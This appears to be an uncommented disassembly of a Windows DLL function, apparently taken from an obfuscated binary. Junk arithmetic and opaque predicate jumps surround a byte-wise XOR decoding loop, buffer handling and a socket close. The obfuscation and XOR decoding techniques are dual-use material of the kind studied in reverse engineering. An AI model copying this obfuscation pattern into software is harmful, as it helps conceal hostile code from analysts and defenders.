and eax, 0xe23d5a66
mov ecx, 0xcc224d01
xor edx, edx
div ecx
sub eax, 0x91d0d5bb
and eax, 0x661519de
and eax, 0x21cc02fc
or eax, 0xa4da2742
xor eax, 0xa4303d48
add eax, 0xee1fd729
xor eax, 0xe4b38ae2
xor eax, 0x388afc70
or eax, 0x48b48b4f
mov ecx, 0x13c4e0ea
xor edx, edx
div ecx
and eax, 0xd1668a8a
and eax, 0x29fe0bed
add eax, 0xa6d29fe
imul eax, eax, 0x72605633
imul eax, eax, 0xf7426d2f
xor eax, 0x375d7b7e
sub eax, 0xed7bc087
add eax, 0x631a2477
mov ecx, 0xfebee2d3
xor edx, edx
div ecx
imul eax, eax, 0x7facb1bc
add eax, 0x27ce428b
sub eax, 0x944d13af
imul eax, eax, 0x68393979
add eax, 0x29e8876c
or eax, 0x571406d1
or eax, 0x315d6a6b
mov ecx, 0x90750006
xor edx, edx
div ecx
imul eax, eax, 0x28153d91
and eax, 0xdfbc6c5
or eax, 0x8fab760a
mov ecx, 0xdbba97d6
xor edx, edx
div ecx
mov ecx, 0x329694e
xor edx, edx
div ecx
xor eax, 0xfceaf905
add eax, 0x447ba85c
imul eax, eax, 0xfbb9362c
mov ecx, 0xb235c4f3
xor edx, edx
div ecx
add eax, 0x4a8728d2
mov ecx, 0x21c79400
xor edx, edx
div ecx
imul eax, eax, 0x3e1dd8cc
mov ecx, 0x2f304011
xor edx, edx
div ecx
sub eax, 0x56f48c4f
xor eax, 0x26cf19ca
xor eax, 0x322c7813
mov ecx, 0x6a27f792
xor edx, edx
div ecx
add eax, 0xae212892
mov ecx, 0x76b985eb
xor edx, edx
div ecx
sub eax, 0x312902bc
add eax, 0xfee2ecdc
and eax, 0xa4411058
add eax, 0xdabba579
imul eax, eax, 0xbe5836bd
sub eax, 0x58eb776d
imul eax, eax, 0x56152b5c
xor eax, 0x68ef0277
imul eax, eax, 0xb757cd07
add eax, 0x12857650
mov ecx, 0x2d25bd2d
xor edx, edx
div ecx
imul eax, eax, 0xb749116e
xor eax, 0xa317b973
or eax, 0xedb32e4d
or eax, 0x20b98290
and eax, 0x26e34013
or eax, 0xfd683022
xor eax, 0x800b3316
xor eax, 0xc24914cd
sub eax, 0x476d13bc
cmp eax, 0xe4f98053
ja 0x10063e5e
mov ecx, dword [esi + 0x124]
mov eax, dword [0x100d0f38]
sub eax, dword [0x100d0f3c]
sub eax, 0x151c7912
mov edi, 0x45d6ae38
xor edx, edx
div edi
and eax, 0xc6b3e27b
or eax, 0x5ed4a7c6
add eax, 0x23807775
sub eax, 0x4d65ee6d
imul eax, eax, 0xf1cddcd6
add eax, 0x130c6789
imul eax, eax, 0xdc183bea
mov edi, 0x67aaf3ed
xor edx, edx
div edi
and eax, 0x9258f50a
sub eax, 0xd80ebd6d
mov edi, 0xf43b270c
xor edx, edx
div edi
mov edi, 0x7728e524
xor edx, edx
div edi
add eax, 0xbe3e02ed
sub eax, 0xde7c9e45
or eax, 0x85dffe18
and eax, 0xda5818bd
or eax, 0x81537dc0
or eax, 0x1115c560
mov edi, 0x7531d9cb
xor edx, edx
div edi
imul eax, eax, 0xc4a83a46
imul eax, eax, 0x7b31b12d
xor eax, 0x7577747d
and eax, 0x37f12159
imul eax, eax, 0xfbccc9b4
xor eax, 0xf9816c28
mov edi, 0x36123e0
xor edx, edx
div edi
mov edi, 0x4cb60448
xor edx, edx
div edi
sub eax, 0x1345f61c
xor eax, 0xe2fa6be7
imul eax, eax, 0x3b8a6fa8
and eax, 0x6b8bd0e1
sub eax, 0x7d2752c
sub eax, 0xca224ea0
sub eax, 0xfd12a98c
imul eax, eax, 0xc7dfe17d
and eax, 0x88376d72
and eax, 0xf6de4a3a
and eax, 0x47340f88
and eax, 0xc85289d2
xor eax, 0xd0d4df2c
and eax, 0x104d3588
xor eax, 0xef1c0829
or eax, 0x222f80f8
or eax, 0xf5f89419
add eax, 0xaa161c43
imul eax, eax, 0x37b39544
sub eax, 0x9d278ac9
add eax, 0xed0fa104
mov edi, 0xe19b9547
xor edx, edx
div edi
imul eax, eax, 0x333f9bab
xor eax, 0x7ff3edc0
sub eax, 0x310502e8
imul eax, eax, 0x9765a68a
add eax, 0xe32bae45
add eax, 0xe13851cf
sub eax, 0x8e2f0d
xor eax, 0xa2259367
sub eax, 0xa02f8083
imul eax, eax, 0xe13b4c5a
imul eax, eax, 0x7375b819
imul eax, eax, 0x140a540b
add eax, 0xc5d90649
add eax, 0x50f64b59
xor eax, 0xf2b404e9
xor eax, 0x29d80457
sub eax, 0xa2dccfbc
imul eax, eax, 0x4ecaea10
and eax, 0xb9a9cf8a
add eax, 0xa1496311
mov edi, 0x4137be99
xor edx, edx
div edi
mov dword [ecx], 0
cmp eax, 0x4fa88630
jae 0x10063e5e
jmp 0x10062843
mov eax, dword [0x100d0f40]
xor edx, edx
div dword [0x100d0f44]
mov ecx, 0x6367cf9b
xor edx, edx
div ecx
or eax, 0x470971c0
or eax, 0x26b4a042
add eax, 0xc77a6473
sub eax, 0x711727de
or eax, 0x55b5685f
xor eax, 0x7e351bfe
sub eax, 0x3a9fe987
add eax, 0x7080cc3
add eax, 0x76a4823a
sub eax, 0x2f21aad7
xor eax, 0xaaf0b31b
mov ecx, 0xbf138df1
xor edx, edx
div ecx
add eax, 0xdf3d2900
and eax, 0x5e83a351
imul eax, eax, 0xb66db60
mov ecx, 0x72a1d533
xor edx, edx
div ecx
add eax, 0x483ec67
and eax, 0xd2f3be79
imul eax, eax, 0x96839ae5
imul eax, eax, 0x638bd0e1
or eax, 0xd148c2e4
imul eax, eax, 0x83b9a54c
or eax, 0x8d584f72
xor eax, 0xbb3879cb
xor eax, 0xec336dc9
imul eax, eax, 0xfe494a37
or eax, 0xada1fe
or eax, 0x876154f8
sub eax, 0xa9b0788e
sub eax, 0xa9fb37cf
add eax, 0x1f3c0c45
mov ecx, 0xc2b430b2
xor edx, edx
div ecx
xor eax, 0x9dc40f2
sub eax, 0x885e65ee
mov ecx, 0x2d80c463
xor edx, edx
div ecx
mov ecx, 0x5c7b4648
xor edx, edx
div ecx
or eax, 0xfee7e0d1
mov ecx, 0xe2fa07db
xor edx, edx
div ecx
or eax, 0xd674f791
add eax, 0x77054c6c
sub eax, 0xc5342950
xor eax, 0x14c6fec
imul eax, eax, 0xc0eee40a
or eax, 0xe6e3d876
and eax, 0x3eb00da0
and eax, 0x9cb8f8f5
xor eax, 0xf16085f4
or eax, 0x6393f719
add eax, 0x572fdaf4
imul eax, eax, 0x82aab062
and eax, 0x49dc367f
sub eax, 0x7610a9c4
and eax, 0x1d04e759
xor eax, 0x656584c5
and eax, 0xae0c5b8f
imul eax, eax, 0x5cddd816
xor eax, 0x76326639
imul eax, eax, 0x4d15e98b
mov ecx, 0x9c0dff95
xor edx, edx
div ecx
and eax, 0x3b272a2f
xor eax, 0x74736be
or eax, 0x1d018455
xor eax, 0xbe2414bf
or eax, 0xa0e885b1
sub eax, 0xf153dc28
xor eax, 0x67dea6f0
imul eax, eax, 0x37a5b57e
imul eax, eax, 0xd32ef673
or eax, 0x8ff58c0c
add eax, 0xb8a88a6e
xor eax, 0x63de86f6
cmp eax, 0x3579ddd9
je 0x10063e6f
mov ecx, dword [esi + 0x124]
mov eax, dword [str.9gM3]
sub eax, dword [0x100d0f4c]
imul eax, eax, 0x42d171df
sub eax, 0x695aacb8
or eax, 0x55323194
sub eax, 0xec5c01b6
or eax, 0x10420e51
sub eax, 0x8f191cb7
xor eax, 0x8ed8cda6
imul eax, eax, 0xd4481b98
imul eax, eax, 0xa830a38e
imul eax, eax, 0x80d8ec3f
imul eax, eax, 0xa7588d67
mov edi, 0x96df1761
xor edx, edx
div edi
sub eax, 0xe8cfe9ca
and eax, 0x5a1cfc2b
xor eax, 0x71701321
or eax, 0x68a9fe55
and eax, 0x38169a
mov edi, 0x9a47c7eb
xor edx, edx
div edi
imul eax, eax, 0x24ece91f
or eax, 0x3ee3f986
add eax, 0xc4be45c3
imul eax, eax, 0x9d96e17c
or eax, 0x41515d23
sub eax, 0xd2bc2d3d
add eax, 0xfe782a51
or eax, 0xb12b763d
mov edi, 0x483fc63a
xor edx, edx
div edi
mov edi, 0x81498041
xor edx, edx
div edi
add eax, 0x165e3031
add eax, 0x23009cb6
or eax, 0x3e0a2f04
and eax, 0x15d6a7fd
imul eax, eax, 0xde701b55
add eax, 0x1c8116b1
or eax, 0x4ee2d5ff
imul eax, eax, 0x38de5df
imul eax, eax, 0x56734e5a
mov edi, 0x1b037343
xor edx, edx
div edi
xor eax, 0x5e93cc96
imul eax, eax, 0xe7e3bce0
imul eax, eax, 0x1c831f6d
imul eax, eax, 0x1e771e42
and eax, 0xb7d174dd
imul eax, eax, 0x9b99261e
mov edi, 0xf09a94dd
xor edx, edx
div edi
sub eax, 0xc42b1baf
add eax, 0xf25355af
or eax, 0xdce05d86
or eax, 0xcbc439d
imul eax, eax, 0x4e803910
add eax, 0xd0547765
sub eax, 0xaeab585
sub eax, 0x317f0685
sub eax, 0xf631aadb
or eax, 0x59f913a8
xor eax, 0xbf9547d4
add eax, 0xf3a38d47
and eax, 0xfd581db8
xor eax, 0xe5cd131a
add eax, 0xec2c2cdd
add eax, 0x9dadb5c5
add eax, 0xacfe5e76
and eax, 0x61ee02b2
add eax, 0x87de2ab9
xor eax, 0x6f0a9d2e
add eax, 0x618b34cb
add eax, 0x2a556d2b
mov edi, 0x56166859
xor edx, edx
div edi
mov edx, dword [esi + 0x108]
sub eax, 0x2061e0fd
or eax, 0x29364dfe
add eax, 0x6ab4e16f
xor eax, 0x38fef334
mov ecx, dword [ecx]
cmp ecx, dword [edx]
setl cl
mov byte [esi + 0x3f], cl
cmp eax, 0xe039f14d
ja 0x10063e6f
mov al, byte [esi + 0x3f]
test al, 1
jne 0x10062bbd
jmp 0x10063338
mov eax, dword [esi + 0x110]
cmp dword [eax], 0
je 0x10062be7
mov eax, dword [esi + 0x124]
cmp dword [eax], 0x2c
jne 0x10062be7
mov eax, dword [esi + 0x118]
mov dword [eax], 0
mov eax, dword [0x100d0f50]
xor edx, edx
div dword [0x100d0f54]
add eax, 0x5be5b1ff
or eax, 0xd728c5da
mov ecx, 0x40627567
xor edx, edx
div ecx
add eax, 0x53388ff8
sub eax, 0x208c8863
add eax, 0x4a498f84
imul eax, eax, 0xa3582b0c
or eax, 0x22ffafef
xor eax, 0x7afc752f
and eax, 0x3daf6fbe
or eax, 0x448407fc
or eax, 0xc7b51c2
and eax, 0x88f6ff2b
or eax, 0xc474c873
or eax, 0x45a069e2
sub eax, 0x1288ab18
sub eax, 0x8a27a588
sub eax, 0xbc6175ad
or eax, 0x6332d7e3
add eax, 0x6d033bf8
add eax, 0x7d095b59
mov ecx, 0x99843a67
xor edx, edx
div ecx
xor eax, 0x559f403c
add eax, 0x95a4dfcc
add eax, 0x9eb2cbbd
sub eax, 0x38732f7b
sub eax, 0xc043111c
sub eax, 0xa17a0782
or eax, 0x908a7515
imul eax, eax, 0xcd0175c0
imul eax, eax, 0xfe64777
add eax, 0x8eb6755c
xor eax, 0x7af62b8a
xor eax, 0xbf953768
imul eax, eax, 0x71bb3208
add eax, 0x669485a0
or eax, 0x1f5e1cb8
add eax, 0xf4c72cda
sub eax, 0x6e393534
mov ecx, 0x9925ea95
xor edx, edx
div ecx
and eax, 0x24b1a1d5
xor eax, 0xc9aec3b
xor eax, 0xd02747b9
add eax, 0x7dfb4538
and eax, 0x12e337b
or eax, 0x6b2c18b4
xor eax, 0x2656a6e7
and eax, 0xcafbe5c7
xor eax, 0x42f5f8b0
xor eax, 0xc5305469
and eax, 0x92ca32b4
mov ecx, 0x7f1ef729
xor edx, edx
div ecx
or eax, 0x517ebce3
or eax, 0x84af02b1
xor eax, 0x588c97e4
sub eax, 0xd3b786ab
mov ecx, 0x47820358
xor edx, edx
div ecx
or eax, 0x3c5612c
imul eax, eax, 0xf6074976
mov ecx, 0x2cb43755
xor edx, edx
div ecx
sub eax, 0xe8da96d4
sub eax, 0x22b22e0e
xor eax, 0xc9d9b3c4
xor eax, 0xe813f320
xor eax, 0x77016276
xor eax, 0x292cd5b1
xor eax, 0x4ec3dc97
xor eax, 0x49a1f23b
mov ecx, 0xfb768a90
xor edx, edx
div ecx
xor eax, 0x3bbdc33f
add eax, 0x683fafac
mov ecx, 0xeeeca21
xor edx, edx
div ecx
cmp eax, 0x6eefb54
ja 0x10063e74
mov ebx, dword [esi + 0x118]
mov edi, dword [esi + 0x124]
mov eax, dword [0x100d0f58]
xor eax, dword [0x100d0f5c]
add eax, 0xc32e2b0f
or eax, 0x4a9e2be4
xor eax, 0x4202194
mov ecx, 0x825fba5
xor edx, edx
div ecx
xor eax, 0x339e6f90
mov ecx, 0x392436ae
xor edx, edx
div ecx
and eax, 0x3f33e250
imul eax, eax, 0x2032a4cf
mov ecx, 0xf11066b0
xor edx, edx
div ecx
or eax, 0x2e024e13
sub eax, 0xee0f8177
sub eax, 0x936e9864
sub eax, 0x46ac3492
and eax, 0x245e26b3
sub eax, 0x3e6fe544
add eax, 0x98210cfd
imul eax, eax, 0xd34beb8b
sub eax, 0xc9e25232
sub eax, 0xb59310e3
imul eax, eax, 0x1b248b38
or eax, 0x5eb69156
mov ecx, 0x9bdb8134
xor edx, edx
div ecx
imul eax, eax, 0x1772f16a
mov ecx, 0xc2989e9b
xor edx, edx
div ecx
mov ecx, 0x5f82c516
xor edx, edx
div ecx
add eax, 0x6d63aa4f
imul eax, eax, 0x20bb7829
add eax, 0x8242b024
mov ecx, 0xc760aab1
xor edx, edx
div ecx
mov ecx, 0x7fca094
xor edx, edx
div ecx
imul eax, eax, 0xce82c6b
mov ecx, 0xaa48fe6f
xor edx, edx
div ecx
sub eax, 0x8f53d988
imul eax, eax, 0x92ba0d09
or eax, 0x39b796d3
add eax, 0xb07d3b7b
sub eax, 0x843f07f3
mov ecx, 0x599c2307
xor edx, edx
div ecx
sub eax, 0x74168c9
sub eax, 0x89813e86
and eax, 0x41e8430
sub eax, 0x23a8a5d
and eax, 0x20cd72a8
and eax, 0xb7740dc8
add eax, 0x534e3b5f
add eax, 0x4d1e7d7b
mov ecx, 0x44f2053e
xor edx, edx
div ecx
mov ecx, 0xbf6a9871
xor edx, edx
div ecx
sub eax, 0x3b166119
xor eax, 0xec2e0e28
imul eax, eax, 0x949d7bb5
or eax, 0x8fd000d4
or eax, 0x6e7e865f
sub eax, 0xf68e81e0
and eax, 0xd7932e2b
xor eax, 0x9a520945
or eax, 0x7bd2cd61
add eax, 0xdfc39629
imul eax, eax, 0xfa317357
and eax, 0x808f58d1
and eax, 0x3ea63559
or eax, 0x5d5e020a
and eax, 0xe6208896
imul eax, eax, 0x544d1839
and eax, 0x9f69c6db
sub eax, 0x7ffd2b1d
mov ecx, 0x56080ea0
xor edx, edx
div ecx
imul eax, eax, 0x5cb37b15
add eax, 0x1e7d1fef
sub eax, 0x7d4f96a0
mov ecx, 0x6743956f
xor edx, edx
div ecx
mov ecx, dword [esi + 0x114]
mov edx, dword [esi + 0x104]
and eax, 0xcb7a73d1
mov ebx, dword [ebx]
movzx ecx, byte [ecx + ebx]
mov edi, dword [edi]
movsx ebx, byte [edx + edi]
xor ebx, ecx
mov ecx, dword [esi + 0x118]
mov byte [edx + edi], bl
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp dword [ecx], 0x14
setge cl
mov byte [esi + 0x3e], cl
cmp eax, 0xb11aed21
jae 0x10062d8c
mov al, byte [esi + 0x3e]
test al, 1
jne 0x10062f9c
jmp 0x10063321
mov eax, dword [0x100d0f60]
and eax, dword [0x100d0f64]
and eax, 0x1abca835
mov ecx, 0x9f07cf16
xor edx, edx
div ecx
imul eax, eax, 0x4a61f393
and eax, 0x4e820eea
and eax, 0x76ef36c0
sub eax, 0xb48fa75
and eax, 0x6ec444bb
imul eax, eax, 0x97d00cb1
or eax, 0x1cf498b0
add eax, 0x14a0dae2
add eax, 0x64c7edef
add eax, 0xfd8361f3
add eax, 0xb49e28ee
mov ecx, 0xca0ab68f
xor edx, edx
div ecx
sub eax, 0x55a4547c
and eax, 0x39bfa299
imul eax, eax, 0x4001a892
xor eax, 0x526ef082
xor eax, 0xb91a861
and eax, 0xa1bed3fa
mov ecx, 0xf1b93c4
xor edx, edx
div ecx
xor eax, 0x4e6eb933
add eax, 0x1cba2a39
or eax, 0x2adac5f8
and eax, 0xa5de2b0b
xor eax, 0x61505141
xor eax, 0x36f64814
sub eax, 0xd1451f80
mov ecx, 0xa9b33b47
xor edx, edx
div ecx
sub eax, 0x2b7465d8
sub eax, 0x6cd5ac8c
xor eax, 0xb6468cdf
add eax, 0x41996f8d
xor eax, 0x7b874d43
or eax, 0x793930f7
or eax, 0x4dccd252
xor eax, 0x8aefb692
add eax, 0x46edd47e
sub eax, 0x45450d99
imul eax, eax, 0x950e1e40
xor eax, 0xbbc04dac
or eax, 0xb4e27faf
xor eax, 0x67fb8e6e
sub eax, 0x6250eb88
mov ecx, 0xd2d3a162
xor edx, edx
div ecx
sub eax, 0xb104afb6
and eax, 0x14fc3ea4
mov ecx, 0x83fea18
xor edx, edx
div ecx
and eax, 0xefb8a3f0
xor eax, 0x7ab48f89
and eax, 0xfa25cbe7
xor eax, 0x6c8f79d4
mov ecx, 0xe543cceb
xor edx, edx
div ecx
xor eax, 0x81432301
sub eax, 0xa3d2c0ac
imul eax, eax, 0x23ddb635
imul eax, eax, 0x503711c5
and eax, 0x5415eb4c
or eax, 0xec6c6f94
add eax, 0x508f2d84
xor eax, 0x30c60f3f
add eax, 0x5ffe7de2
and eax, 0x76c72a4f
mov ecx, 0x232239bf
xor edx, edx
div ecx
and eax, 0x91cb6063
add eax, 0x9a31e489
sub eax, 0xd3ef3887
or eax, 0xca1363c7
or eax, 0xc41b02b
and eax, 0xb5f6a2f3
mov ecx, 0x4ffc6c20
xor edx, edx
div ecx
and eax, 0x64095bc6
cmp eax, 0x5d64fdc5
ja 0x10063ea9
mov eax, dword [0x100d0f68]
and eax, dword [0x100d0f6c]
sub eax, 0x96c80280
imul eax, eax, 0x80e82ac9
and eax, 0xf1086255
imul eax, eax, 0x9e6db19
imul eax, eax, 0x1e6322a3
sub eax, 0xd09bc442
add eax, 0xf0c1d80f
xor eax, 0x18136f9d
mov ecx, 0xcc92394c
xor edx, edx
div ecx
add eax, 0x905e84f3
and eax, 0xa09283c2
imul eax, eax, 0xe61b4934
add eax, 0x5a4b04af
add eax, 0xd3790c57
or eax, 0xd27098aa
imul eax, eax, 0xac16b68
mov ecx, 0xf1d94e53
xor edx, edx
div ecx
or eax, 0xe7b90c17
and eax, 0x50ba9cbc
or eax, 0xad64303a
sub eax, 0xcfe50eac
or eax, 0x495cf4c8
sub eax, 0x97857fe7
and eax, 0x51cb4020
mov ecx, 0x7955cf5a
xor edx, edx
div ecx
xor eax, 0x29f68f08
add eax, 0x174a3ca4
add eax, 0xa602f376
sub eax, 0x73293595
imul eax, eax, 0xfbd0513f
xor eax, 0x6ae73a46
and eax, 0x2108f91a
and eax, 0x63d288d1
or eax, 0xbd0ee258
sub eax, 0x41d06b48
and eax, 0xa155f1e
or eax, 0x5a238015
and eax, 0xd7a1204b
xor eax, 0xabf17a5f
or eax, 0x1745250b
add eax, 0xcc76eb1d
add eax, 0x4b3df644
or eax, 0x20e01b9f
and eax, 0x572def88
mov ecx, 0x4edc20df
xor edx, edx
div ecx
imul eax, eax, 0xffcf490b
sub eax, 0x4137d974
xor eax, 0x15b812d8
and eax, 0x8dfb9ab5
imul eax, eax, 0xd74ca794
and eax, 0x5dcab04a
or eax, 0x45b2be9
sub eax, 0x19203271
imul eax, eax, 0xecca85a5
imul eax, eax, 0x770aff6a
mov ecx, 0xaf20e226
xor edx, edx
div ecx
mov ecx, 0x76dfbdcb
xor edx, edx
div ecx
and eax, 0x4289d4e3
xor eax, 0xc3814980
sub eax, 0x1303424
add eax, 0xd1cbdcee
add eax, 0x2d22cb75
mov ecx, 0xaad37aa9
xor edx, edx
div ecx
mov ecx, 0xd2b4dba9
xor edx, edx
div ecx
sub eax, 0xd78c0408
imul eax, eax, 0x76b923d5
mov ecx, 0xad0340c8
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x118]
xor ecx, 0x54fe47aa
sub ecx, 0x859acbca
add ecx, 0xcd62ecf4
and ecx, 0xc3ff4b82
sub ecx, 0x85b588c0
mov dword [esi + 0x38], ecx
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.100130a0
mov eax, dword [esi + 0x38]
add esp, 4
cmp eax, 0xf87c768c
je 0x10063144
jmp 0x10063321
jmp 0x10063326
mov eax, dword [esi + 0x124]
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x10062843
mov ecx, dword [esi + 0x104]
mov edi, dword [esi + 0x10c]
mov eax, dword [esi + 0x108]
mov edx, dword [esi + 0x60]
mov ebx, dword [esi + 0x110]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1007c030
mov edx, dword [esi + 0x108]
mov ecx, dword [esi + 0x10c]
mov eax, dword [esi + 0x104]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1007cb30
add esp, 0xc
mov eax, dword [0x100d0f70]
or eax, dword [0x100d0f74]
mov ecx, 0xb856e390
xor edx, edx
div ecx
imul eax, eax, 0xd009f5f5
or eax, 0xbeadeed9
or eax, 0x8c03574d
sub eax, 0x17c46fbd
xor eax, 0xf04ad8c1
or eax, 0xa8125204
or eax, 0xe6fb428d
add eax, 0xd0066142
sub eax, 0xb520e4
sub eax, 0xd934b51f
and eax, 0x398d8b20
add eax, 0xe7ccfe1
xor eax, 0x7284649b
sub eax, 0xcf160e48
add eax, 0x684e7ee2
and eax, 0xa4ce87ec
imul eax, eax, 0x53c31d16
imul eax, eax, 0x4dfb693b
mov ecx, 0xd8c26d8a
xor edx, edx
div ecx
xor eax, 0xf0e21308
and eax, 0x59f83390
imul eax, eax, 0x4a8cb0a0
imul eax, eax, 0x8ec54d02
add eax, 0x249b023d
or eax, 0x62f5d400
or eax, 0x10022a8b
mov ecx, 0xadfb3a5a
xor edx, edx
div ecx
or eax, 0xbceda356
add eax, 0x5acad4a5
add eax, 0x90c006a9
and eax, 0x29884b01
and eax, 0xb4dd4d8f
xor eax, 0xc3d7d258
mov ecx, 0x304e62e2
xor edx, edx
div ecx
sub eax, 0xaadf5c5b
or eax, 0xe792c45b
mov ecx, 0x18b15419
xor edx, edx
div ecx
add eax, 0x16362b93
add eax, 0xd332c6a2
sub eax, 0x7f951a0
and eax, 0x22891c70
xor eax, 0x22da027c
and eax, 0x624378bc
imul eax, eax, 0xc0adc81a
xor eax, 0xcc6008c8
sub eax, 0x8b259471
and eax, 0x42b47c0b
imul eax, eax, 0xe2e2e117
and eax, 0xa04226fd
mov ecx, 0xe0cd0f04
xor edx, edx
div ecx
or eax, 0xdccb68a0
or eax, 0xd14b1f14
imul eax, eax, 0xb974d249
xor eax, 0x7a3bc55d
or eax, 0xcf985083
add eax, 0x5226614
xor eax, 0x8881d98b
mov ecx, 0x518bf8fc
xor edx, edx
div ecx
add eax, 0x128c61d1
or eax, 0xb5a164f5
imul eax, eax, 0xd6f05aff
sub eax, 0x63f70980
imul eax, eax, 0x866a9e97
add eax, 0x9ea18b48
mov ecx, 0x1301c7f5
xor edx, edx
div ecx
mov ecx, 0x2dcfad77
xor edx, edx
div ecx
and eax, 0x23ceaf56
add eax, 0xdb7902a6
and eax, 0xc06681ed
xor eax, 0xb98301db
sub eax, 0xac4de005
cmp eax, 0x8b8b2435
jbe 0x10063ecc
mov ecx, dword [esi + 0x108]
mov eax, dword [0x100d0f78]
or eax, dword [0x100d0f7c]
or eax, 0x71ac46a6
imul eax, eax, 0xb74ac2f7
mov edi, 0xabb3d9e8
xor edx, edx
div edi
add eax, 0xa8ad28be
add eax, 0x91dd52dd
xor eax, 0x87789b0
or eax, 0x82a3295b
imul eax, eax, 0xd24dbef0
sub eax, 0xa5651166
imul eax, eax, 0xb7d96874
and eax, 0xf18e5cd7
add eax, 0x24c9539b
xor eax, 0x92120d35
add eax, 0x46b8235a
or eax, 0x34268caf
add eax, 0xa9f38d83
mov edi, 0xdeb0b46c
xor edx, edx
div edi
imul eax, eax, 0xc19648b8
imul eax, eax, 0x2c5292ff
sub eax, 0xc8a6a017
xor eax, 0x6e66053b
imul eax, eax, 0x3ceaeb7c
mov edi, 0x124fd02a
xor edx, edx
div edi
or eax, 0x53ff8154
and eax, 0xa727c794
imul eax, eax, 0x77ad1dee
add eax, 0xc9598ba3
add eax, 0x59a02361
or eax, 0x728f1d71
mov edi, 0xe6cae487
xor edx, edx
div edi
mov edi, 0x6a3281e9
xor edx, edx
div edi
xor eax, 0xe232114b
xor eax, 0xd077c53
and eax, 0xb7f9b706
and eax, 0xd3838b16
sub eax, 0xaeafec15
and eax, 0x11580b15
xor eax, 0x5d4a072d
add eax, 0x1957651f
imul eax, eax, 0x64e2f1ed
and eax, 0x68fdf8e1
xor eax, 0x764ac4f8
and eax, 0x46356ab7
sub eax, 0x6dacb39a
or eax, 0xec8e2f9f
add eax, 0xb0fb697f
or eax, 0x644219c4
or eax, 0x810799b0
add eax, 0xaf3e0b58
xor eax, 0xc4c391f2
or eax, 0x66aa4624
mov edi, 0x1da36c3c
xor edx, edx
div edi
add eax, 0xc24bfac8
xor eax, 0x79c73086
imul eax, eax, 0x3400ed60
mov edi, 0x730eece9
xor edx, edx
div edi
and eax, 0x1a42e23d
sub eax, 0xd308cd78
or eax, 0x73b21563
mov edi, 0xb90f345e
xor edx, edx
div edi
sub eax, 0x5ae82aee
sub eax, 0x97fd1e4d
and eax, 0xdb775b2a
sub eax, 0xc88a3e41
mov edi, 0xf821ef06
xor edx, edx
div edi
or eax, 0x66d99f59
sub eax, 0xbc7a6f2f
mov edi, 0x4b56f008
xor edx, edx
div edi
xor eax, 0xc470c40a
or eax, 0x61d3f3bc
xor eax, 0x54a222a3
add eax, 0x499ca12
cmp dword [ecx], 0
setg cl
mov byte [esi + 0x37], cl
cmp eax, 0xb77bc93
jb 0x10063ecc
mov al, byte [esi + 0x37]
test al, 1
jne 0x10061fc1
jmp 0x10063729
mov eax, dword [esi + 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x60]
mov eax, dword [esi + 0x58]
mov edx, dword [edx]
mov edx, dword [edx]
mov edi, dword [edx]
sub edi, 0x2c
mov dword [edx], edi
mov edx, dword [ecx]
mov edx, dword [edx]
add edx, 0x2c
mov ecx, dword [ecx]
mov dword [ecx], edx
mov dword [eax], 1
mov eax, dword [0x100d0f80]
and eax, dword [0x100d0f84]
sub eax, 0xc14a88e7
or eax, 0x858db8f
add eax, 0x5d3fcaeb
sub eax, 0x80e6c215
mov ecx, 0xba2b1253
xor edx, edx
div ecx
mov ecx, 0xf491e2b9
xor edx, edx
div ecx
imul eax, eax, 0x25d409f0
xor eax, 0x8cc281d4
imul eax, eax, 0x1e6cda97
imul eax, eax, 0x780f0893
add eax, 0xd65ab6da
and eax, 0xfe3861b5
add eax, 0x33d42724
and eax, 0xd266617
imul eax, eax, 0x227ddad6
mov ecx, 0xf78fd4a6
xor edx, edx
div ecx
and eax, 0x6069e1e2
sub eax, 0x41e4c848
mov ecx, 0x31095e41
xor edx, edx
div ecx
sub eax, 0xf3e4aff6
add eax, 0xaa2efffe
or eax, 0xe2f238dc
imul eax, eax, 0x53a7dc65
add eax, 0xaaa85811
or eax, 0x64ae8e6e
add eax, 0x86a693ed
imul eax, eax, 0xf18a3198
sub eax, 0xe50a1246
xor eax, 0xba3a22d9
imul eax, eax, 0x1b4a3ce5
mov ecx, 0x88074a61
xor edx, edx
div ecx
xor eax, 0x9fe9ff7b
imul eax, eax, 0x3e85f205
mov ecx, 0xc93cef3a
xor edx, edx
div ecx
or eax, 0x99ebdf39
add eax, 0x26b002b
add eax, 0xdd05a767
xor eax, 0xc64b4fe3
and eax, 0x992b6965
xor eax, 0x1c977e2
mov ecx, 0xf5c6d03d
xor edx, edx
div ecx
imul eax, eax, 0x2df42db5
xor eax, 0xa0d80b3f
xor eax, 0x8e3dbd53
and eax, 0xfccfdf3a
xor eax, 0xebe49b88
imul eax, eax, 0x10be1f1b
mov ecx, 0xc7f08a49
xor edx, edx
div ecx
sub eax, 0xea6a6669
add eax, 0x48da37cc
and eax, 0xfb469535
xor eax, 0x817d2667
imul eax, eax, 0xff40c0e
and eax, 0x6f7338fa
xor eax, 0xa0e83a1a
or eax, 0x2acf13f
imul eax, eax, 0x2a232d24
and eax, 0x3e9562bf
mov ecx, 0xfefe0970
xor edx, edx
div ecx
or eax, 0xe86ca0d2
add eax, 0x3edd302f
sub eax, 0xfe9fa9d1
add eax, 0x3515c92a
sub eax, 0xc5edbe56
xor eax, 0xaf5a8a89
or eax, 0x7bec17b0
imul eax, eax, 0x401920f1
mov ecx, 0x2c0ea852
xor edx, edx
div ecx
add eax, 0x5277ddfc
sub eax, 0x3814ec4b
sub eax, 0x89e8eb0b
add eax, 0x9795c296
cmp eax, 0x75daee78
je 0x10063ed1
mov ecx, dword [esi + 0x58]
mov eax, dword [0x100d0f88]
and eax, dword [0x100d0f8c]
imul eax, eax, 0x74969b70
mov edi, 0x5cb6469e
xor edx, edx
div edi
sub eax, 0x5f529b0
